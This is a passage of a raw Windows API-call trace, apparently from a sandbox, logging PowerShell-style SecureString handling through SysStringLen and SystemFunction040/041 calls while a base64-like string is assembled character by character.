Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.517] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚쯑ႛꯙ⇺培﯍ፐ힣") returned 0x18 [0193.517] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚쯑ႛꯙ⇺培﯍ፐ힣") returned 0x18 [0193.517] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.517] SysStringLen (param_1="vHgIBpFI2WXAYfupty代㑳儴ꔀଏৡ") returned 0x18 [0193.517] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.517] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚ꀤ\翘\⫙諻ᒠ璶䘔") returned 0x18 [0193.517] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚ꀤ\翘\⫙諻ᒠ璶䘔") returned 0x18 [0193.517] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.517] SysStringLen (param_1="vHgIBpFI2WXAYfuptyX㑳儴ꔀଏৡ") returned 0x18 [0193.517] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.518] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚뒕ಊ껠擇펖뙬צּ") returned 0x18 [0193.518] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚뒕ಊ껠擇펖뙬צּ") returned 0x18 [0193.518] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.518] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz儴ꔀଏৡ") returned 0x18 [0193.518] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.518] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚夢︺徼\滜딟礪∠) returned 0x18 [0193.518] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚夢︺徼\滜딟礪∠) returned 0x18 [0193.518] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.518] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0ꔀଏৡ") returned 0x18 [0193.519] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.519] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚勠㤍ǟﷇｐ氎") returned 0x18 [0193.519] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚勠㤍ǟﷇｐ氎") returned 0x18 [0193.519] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.519] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aଏৡ") returned 0x18 [0193.519] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.519] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚辔⻽氉⇓깋ட걇") returned 0x18 [0193.519] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚辔⻽氉⇓깋ட걇") returned 0x18 [0193.519] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.520] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRৡ") returned 0x18 [0193.520] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.520] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚蛠椌ᣥ翹熛쵓딃") returned 0x18 [0193.520] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚蛠椌ᣥ翹熛쵓딃") returned 0x18 [0193.520] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.520] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS") returned 0x18 [0193.520] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0193.520] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩") returned 0x18 [0193.520] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩") returned 0x18 [0193.521] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩") returned 0x18 [0193.521] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩") returned 0x20 [0193.521] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.521] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS9㎻䷀鵳⨸萬鋕䂒") returned 0x20 [0193.521] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.521] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ڍ釞껧矄ঊ嘤䩛戲") returned 0x20 [0193.521] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ڍ釞껧矄ঊ嘤䩛戲") returned 0x20 [0193.521] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.521] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97䷀鵳⨸萬鋕䂒") returned 0x20 [0193.521] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.522] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩㜯黧̙듎鉀砙砡鐅") returned 0x20 [0193.522] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩㜯黧̙듎鉀砙砡鐅") returned 0x20 [0193.522] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.522] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97e鵳⨸萬鋕䂒") returned 0x20 [0193.522] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.522] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ܸ᫅\뫜貗⹸᜜⋦) returned 0x20 [0193.522] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ܸ᫅\뫜貗⹸᜜⋦) returned 0x20 [0193.522] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.522] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97ek⨸萬鋕䂒") returned 0x20 [0193.522] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.522] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ᖈ䔳ᶣ᎝ﻔ㢪ㆪ") returned 0x20 [0193.522] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ᖈ䔳ᶣ᎝ﻔ㢪ㆪ") returned 0x20 [0193.524] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.524] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko萬鋕䂒") returned 0x20 [0193.524] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.524] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩郚䣂쎿恆ᛍἷ齸箿") returned 0x20 [0193.525] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩郚䣂쎿恆ᛍἷ齸箿") returned 0x20 [0193.525] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.525] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3鋕䂒") returned 0x20 [0193.525] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.525] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ⶹ搉禃篺㻣꼨↖侇") returned 0x20 [0193.525] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩ⶹ搉禃篺㻣꼨↖侇") returned 0x20 [0193.525] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.525] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s䂒") returned 0x20 [0193.525] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.526] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩帱쩍⽨﵉멣匀職뼼") returned 0x20 [0193.526] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩帱쩍⽨﵉멣匀職뼼") returned 0x20 [0193.526] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.526] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/") returned 0x20 [0193.526] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0193.526] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠") returned 0x20 [0193.526] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠") returned 0x20 [0193.526] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠") returned 0x20 [0193.527] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠") returned 0x28 [0193.527] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.527] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8ٴ뾕ㄡᅇ觡릛") returned 0x28 [0193.527] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.527] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠㣢鿤칎쨝㮍蕄\⋟) returned 0x28 [0193.527] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠㣢鿤칎쨝㮍蕄\⋟) returned 0x28 [0193.527] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.527] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8h뾕ㄡᅇ觡릛") returned 0x28 [0193.527] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.528] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠芐蕊韚彦馶湠\⋝) returned 0x28 [0193.528] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠芐蕊韚彦馶湠\⋝) returned 0x28 [0193.528] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.528] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlㄡᅇ觡릛") returned 0x28 [0193.528] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.528] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠鯎쌥‼⨮쭖梏뤹ᑱ") returned 0x28 [0193.528] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠鯎쌥‼⨮쭖梏뤹ᑱ") returned 0x28 [0193.528] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.528] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcㄡᅇ觡릛") returned 0x28 [0193.528] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.528] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠\xfdd9쟷ﲿȅ츕탶鍆ﳼ") returned 0x28 [0193.528] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠\xfdd9쟷ﲿȅ츕탶鍆ﳼ") returned 0x28 [0193.529] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.529] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcTᅇ觡릛") returned 0x28 [0193.529] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.529] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠饨ﮘ䬢断捆裌질") returned 0x28 [0193.529] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠饨ﮘ䬢断捆裌질") returned 0x28 [0193.529] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.529] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+觡릛") returned 0x28 [0193.529] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.529] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠蓝콜㰭싈㪅믃") returned 0x28 [0193.529] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠蓝콜㰭싈㪅믃") returned 0x28 [0193.529] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.530] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+4릛") returned 0x28 [0193.530] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.530] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠̓ט햰鷀◸㵃뿕") returned 0x28 [0193.530] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠̓ט햰鷀◸㵃뿕") returned 0x28 [0193.530] SystemFunction041 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.530] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+4V") returned 0x28 [0193.530] SystemFunction040 (in: Memory=0x3c0d6c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0d6c) returned 0x0 [0193.530] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே") returned 0x28 [0193.531] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே") returned 0x28 [0193.531] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே") returned 0x28 [0193.531] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே") returned 0x30 [0193.531] SystemFunction041 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.531] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+4V7麦㈀ེ襅䋑웼") returned 0x30 [0193.531] SystemFunction040 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.532] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே系꥘뚂쑘罩숧ꤷ鰍") returned 0x30 [0193.532] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே系꥘뚂쑘罩숧ꤷ鰍") returned 0x30 [0193.532] SystemFunction041 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.532] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+4V7K麦㈀ེ襅䋑웼") returned 0x30 [0193.532] SystemFunction040 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.532] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே㤬폾歆낲ꗄ") returned 0x30 [0193.532] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே㤬폾歆낲ꗄ") returned 0x30 [0193.532] SystemFunction041 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.532] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+4V7K4㈀ེ襅䋑웼") returned 0x30 [0193.532] SystemFunction040 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.532] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢேⴉ띴؉딻脻썵걇") returned 0x30 [0193.532] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢேⴉ띴؉딻脻썵걇") returned 0x30 [0193.533] SystemFunction041 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.533] SysStringLen (param_1="vHgIBpFI2WXAYfuptyXz0aRS97eko3s/8hlcT+4V7K4=ེ襅䋑웼") returned 0x30 [0193.533] SystemFunction040 (in: Memory=0x3da774, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da774) returned 0x0 [0193.533] EtwEventActivityIdControl () returned 0x0 [0193.534] EtwEventActivityIdControl () returned 0x0 [0193.534] EtwEventActivityIdControl () returned 0x0 [0193.535] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0193.535] EtwEventActivityIdControl () returned 0x0 [0193.535] EtwEventActivityIdControl () returned 0x0 [0193.535] EtwEventActivityIdControl () returned 0x0 [0193.536] SysStringLen (param_1="") returned 0x8 [0193.536] SysStringLen (param_1="N") returned 0x8 [0193.536] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.536] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0193.536] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0193.536] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.537] SysStringLen (param_1="ND") returned 0x8 [0193.537] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.537] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0193.537] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0193.537] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.537] SysStringLen (param_1="NDZ") returned 0x8 [0193.537] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.537] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0193.537] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0193.537] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.538] SysStringLen (param_1="NDZl") returned 0x8 [0193.538] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.538] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0193.538] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0193.538] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.538] SysStringLen (param_1="NDZlO") returned 0x8 [0193.538] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.538] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0193.539] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0193.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.539] SysStringLen (param_1="NDZlOD") returned 0x8 [0193.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.539] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0193.539] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0193.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.539] SysStringLen (param_1="NDZlODR") returned 0x8 [0193.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.539] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0193.539] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0193.539] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.540] SysStringLen (param_1="NDZlODRm") returned 0x8 [0193.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0193.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0193.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0193.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0193.540] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0193.540] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.541] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0193.541] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0193.541] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0193.541] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.541] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0193.541] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0193.541] SysStringLen 